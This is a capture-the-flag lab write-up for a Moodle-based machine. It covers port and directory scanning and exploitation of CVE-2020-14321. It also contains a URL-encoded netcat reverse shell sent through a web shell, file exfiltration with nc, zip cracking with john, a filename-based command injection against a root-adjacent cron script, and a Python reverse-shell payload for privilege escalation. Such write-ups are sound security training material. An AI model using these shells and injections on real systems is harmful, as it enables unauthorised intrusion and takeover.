CTF Plotted-LMS

nmap

1
nmap -v -p- -sV 10.10.82.220

Output:

1
2
3
4
5
6
PORT     STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
8820/tcp open http Apache httpd 2.4.41 ((Ubuntu))
9020/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

10.10.82.220:80
10.10.82.220:8820
10.10.82.220:9020

Gobuster

1
gobuster dir -u http://10.10.82.220:9020/. -x txt,html,php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Only the website moodle is interesting.

Moodle

But as I can see for the CVE-2020-14321 I need a teacher account.

RCE

https://github.com/HoangKien1020/CVE-2020-14321

It’s working for thi one, once it’s done I can’t do it again

Revershell

I’m gonna use this one:

http://10.10.39.123:9020/moodle//blocks/rce/lang/en/block_rce.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.8.50.167%204848%20%3E%2Ftmp%2Ff

It’s working.

Upgrade the shell

1
2
python3 -c 'import pty;pty.spawn("/bin/bash")' 
export TERM=xterm # allow clear command

Then Ctrl + Z.

1
stty raw -echo; fg # allow auto completion

LSE

Linpeas was too slow, I’m gonna use lse and try linpeas later

sql.bak.zip

1
nc -l -p 4850 > sql.bak.zip
1
2
cd /var/www/9020/
nc -w 3 10.8.50.167 4850 < sql.bak.zip

There is a password on the zip file.

Crack the zip file

1
2
3
zip2john sql.bak.zip > hash.txt
john hash.txt
john hash.txt --show

Output:

1
sql.bak.zip/backup.sql:whatever:backup.sql:sql.bak.zip::sql.bak.zip

Password: whatever

it’s not a sql file:

https://www.youtube.com/watch?v=dQw4w9WgXcQ
… ok

/etc/crontab

1
cat /etc/crontab

Output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
* * * * * plot_admin /usr/bin/python3 /home/plot_admin/backup.py
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root /usr/bin/rsync /var/log/apache2/m*_access /home/plot_admin/.logs_backup/$(/bin/date +%m.%d.%Y); /usr/bin/chown -R plot_admin:plot_admin /home/plot_admin/.logs_backup/$(/bin/date +%m.%d.%Y)
#

This line is interesting :

1
* *	* * *	plot_admin /usr/bin/python3 /home/plot_admin/backup.py

/home/plot_admin/backup.py

1
2
3
4
5
6
7
8
9
10
import os

moodle_location = "/var/www/uploadedfiles/filedir/"
backup_location = "/home/plot_admin/.moodle_backup/"

os.system("/usr/bin/rm -rf " + backup_location + "*")

for (root,dirs,files) in os.walk(moodle_location):
for file in files:
os.system('/usr/bin/cp "' + root + '/' + file + '" ' + backup_location)

At the line os.system he remove everything in backup_location, to do that he use *.
So in the directory /var/www/uploadedfiles/filedir you can create a file where the file name will be interpreted as a command.

1
touch '"|chmod -R 777 .|"'

Now we can write and read into /home/plot_admin.

Privesc

Now I will add a python revershell into the backup script.
https://www.revshells.com/

1
2
3
4
5
6
7
8
9
import socket
import subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.8.50.167",6666))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("bash")

I have the user plot_admin.

Now I need a better shell, let’s use ssh.

But I juste broke the machine again, there is not enough ram or cpu IDK.
Even the website is not responding.